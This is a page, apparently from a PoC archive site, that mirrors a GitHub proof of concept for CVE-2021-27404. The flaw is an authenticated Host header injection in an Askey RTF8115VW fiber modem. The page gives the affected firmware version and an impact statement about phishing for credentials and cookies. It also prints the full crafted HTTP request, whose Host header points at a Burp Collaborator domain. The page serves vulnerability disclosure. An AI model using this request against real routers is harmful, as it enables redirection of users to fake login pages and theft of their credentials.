CVE-2021-27404 PoC — Fastweb Askey RTV1907VW 输入验证错误漏洞

Source

https://github.com/bokanrb/CVE-2021-27404

Associated Vulnerability

Title:Fastweb Askey RTV1907VW 输入验证错误漏洞 (CVE-2021-27404)
Description:Fastweb Askey RTV1907VW是意大利Fastweb公司的一款路由器。 Askey RTF8115VW 中存在输入验证错误漏洞。该漏洞源于Web服务的 Host HTTP header 中允许注入。以下产品及版本受到影响：Askey RTF8115VW BR_SV_g11.11_RTF_TEF001_V6.54_V014。

Description

HostHeaderInjection-Askey

Readme

**Authenticated Host Header Injection - Askey Internet Fiber Modem**

Vendor: **Askey**   
Software Version: **BR_SV_g11.11_RTF_TEF001_V6.54_V014**  
Model: **RTF8115VW**   
Vulnerable Header: **Host**  
Not tested in other model/version.   

Impact: An attacker could take advantege on that vulnerability to redirect user to a fake Login page in order to extract his credentials, or cookies.

The Final Request
```
GET / HTTP/1.1
Host: kay4tb35bh55y38n8h4teim21t7jv8.burpcollaborator.net
Cookie: _httpdSessionId_=7924107467ea5838a196b65306ca7236
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/cgi-bin/te_logout.cgi
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
```





![Alt text](/hostHeaderInjection.jpg?raw=true "Optional Title")

File Snapshot


 [4.0K]  /data/pocs/9d95d73cf449508839adaf4ed523630747da4ea7
├── [161K]  hostHeaderInjection.jpg
└── [ 955]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!